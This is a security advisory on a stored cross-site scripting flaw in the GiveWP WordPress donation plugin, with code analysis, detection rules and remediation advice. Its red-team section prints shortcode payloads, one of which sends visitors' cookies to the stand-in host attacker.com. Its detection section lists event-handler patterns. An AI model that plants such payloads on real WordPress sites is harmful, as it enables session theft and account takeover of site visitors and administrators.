CVE-2024-1957

Executive Summary

CVE-2024-1957 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the GiveWP – Donation Plugin and Fundraising Platform for WordPress. The flaw resides in the give_form shortcode, which fails to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts. When a victim (including site administrators) visits a page containing the malicious shortcode, the injected script executes in their browser context.

This vulnerability is particularly dangerous in the WordPress ecosystem because it can be used to escalate privileges, steal session cookies, or deface the site. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for significant impact due to the stored nature of the attack.

Supply Chain & Package Security

This vulnerability is specific to the GiveWP WordPress plugin, which is distributed via the official WordPress plugin repository and third-party marketplaces. Since it is a WordPress plugin, the supply chain risk involves:

• Plugin updates: Users must manually update or rely on auto-updates. If the vendor does not release a patch, sites remain vulnerable.
• Third-party dependencies: GiveWP may rely on other libraries (e.g., jQuery, React) that could introduce additional risks.
• Compromised installations: Attackers who gain Contributor access can inject malicious shortcodes, potentially affecting all visitors.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires Contributor-level authentication.
• User Interaction (UI): None (N) – No user action needed for the injected script to execute.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS can lead to account takeover, data theft, or further compromise.

Deep Dive & Mechanics

The vulnerability exists in the give_form shortcode handler. When a user with Contributor-level or higher permissions creates or edits a post/page, they can insert the shortcode with malicious attributes. The plugin does not properly sanitize or escape these attributes before rendering them in the HTML output.

Root Cause: The give_form shortcode accepts user-supplied attributes (e.g., id, show_title, show_goal, etc.) and directly outputs them without proper escaping. For example, an attribute like show_title="true" might be rendered as show_title="true", but an attacker can inject a payload like show_title="true" onmouseover="alert(1)".

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates a new post or edits an existing one.
3. Attacker inserts the [give_form] shortcode with a malicious attribute, e.g., [give_form id="1" show_title="true" onfocus="alert(document.cookie)" autofocus="true"].
4. When any user (including admins) visits the page, the injected JavaScript executes.

Impact: The attacker can steal session cookies, redirect users to phishing sites, perform actions on behalf of the victim, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (GiveWP <= 3.6.1): The shortcode handler likely uses shortcode_atts() and then directly echoes the attributes without escaping. Example (simplified):

function give_form_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'id' => '',
        'show_title' => 'true',
        'show_goal' => 'true',
    ), $atts );
    // Direct output without escaping
    echo '<div class="give-form" data-id="' . $atts['id'] . '" data-show_title="' . $atts['show_title'] . '">';
    // ...
}

Patched Code (Hypothetical): The fix would involve escaping all output using esc_attr():

function give_form_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'id' => '',
        'show_title' => 'true',
        'show_goal' => 'true',
    ), $atts );
    // Properly escape attributes
    echo '<div class="give-form" data-id="' . esc_attr( $atts['id'] ) . '" data-show_title="' . esc_attr( $atts['show_title'] ) . '">';
    // ...
}

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with GiveWP plugin <= 3.6.1.
• An account with Contributor-level permissions or higher.

Exploit Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or edit an existing one.
3. Switch to the Text/Code editor.
4. Insert the following shortcode:

   [give_form id="1" show_title="true" onfocus="alert(document.cookie)" autofocus="true"]
   

5. Publish or update the post.
6. When any user visits the page, the JavaScript executes.

Advanced Payload: To steal cookies, use:

[give_form id="1" show_title="true" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true"]

Note: No public exploit code (Exploit-DB) is available for this CVE.

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing the [give_form] shortcode with unusual attributes (e.g., onfocus, onmouseover, autofocus).
• Use a Web Application Firewall (WAF) to block malicious shortcode attributes.
• Review user activity logs for suspicious shortcode insertions.

Prevention:

• Restrict Contributor-level permissions if not needed.
• Apply input validation and output escaping (as shown in the patched code).
• Use a security plugin (e.g., Wordfence) to detect XSS attempts.

Lab Setup:

1. Install a local WordPress instance (e.g., using XAMPP or Docker).
2. Install GiveWP plugin version 3.6.1.
3. Create a Contributor user.
4. Follow the Red Team steps to reproduce the vulnerability.

Indicators of Compromise (IOCs)

• Shortcode patterns: Posts/pages containing [give_form with event handler attributes (e.g., onfocus, onmouseover, onclick).
• HTTP requests: POST requests to /wp-admin/post.php or /wp-admin/admin-ajax.php with shortcode payloads.
• JavaScript execution: Unexpected alert() dialogs or network requests to external domains.
• Log entries: WordPress debug logs showing unusual shortcode attributes.

Example IOC (Sigma rule):

title: Suspicious GiveWP Shortcode Attributes
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects posts/pages containing GiveWP shortcode with event handler attributes
logsource:
    product: wordpress
    service: application
detection:
    selection:
        post_content|contains: 
            - '[give_form'
            - 'onfocus='
            - 'onmouseover='
            - 'autofocus='
    condition: selection
falsepositives:
    - Legitimate use of custom attributes (rare)
level: high

Detection Engineering

YARA Rule

rule CVE_2024_1957_GiveWP_XSS {
    meta:
        description = "Detects GiveWP shortcode with malicious attributes"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1957"
    strings:
        $shortcode = "[give_form"
        $event_handler = /on\w+\s*=\s*["']/
        $autofocus = "autofocus"
    condition:
        $shortcode and ($event_handler or $autofocus)
}

Sigma Rule

title: CVE-2024-1957 GiveWP Stored XSS Detection
id: 87654321-4321-4321-4321-210987654321
status: experimental
description: Detects stored XSS via GiveWP shortcode
logsource:
    product: wordpress
    service: application
detection:
    selection:
        post_content|contains: 
            - '[give_form'
            - 'onfocus='
            - 'onmouseover='
            - 'autofocus='
    condition: selection
falsepositives:
    - Custom shortcode attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1957 GiveWP Stored XSS Attempt"; flow:to_server,established; content:"[give_form"; http_client_body; pcre:"/on\w+\s*=\s*["']/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the GiveWP plugin if not critical for operations.
2. Restrict Contributor-level permissions to trusted users only.
3. Apply a virtual patch using a WAF to block malicious shortcode attributes.

Long-term Fix:

• Update GiveWP to a patched version once released (check vendor website).
• Implement output escaping in custom code if you maintain a fork.
• Monitor for updates at the WordPress plugin repository.

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Manually review all posts/pages containing the [give_form] shortcode.

Valters IT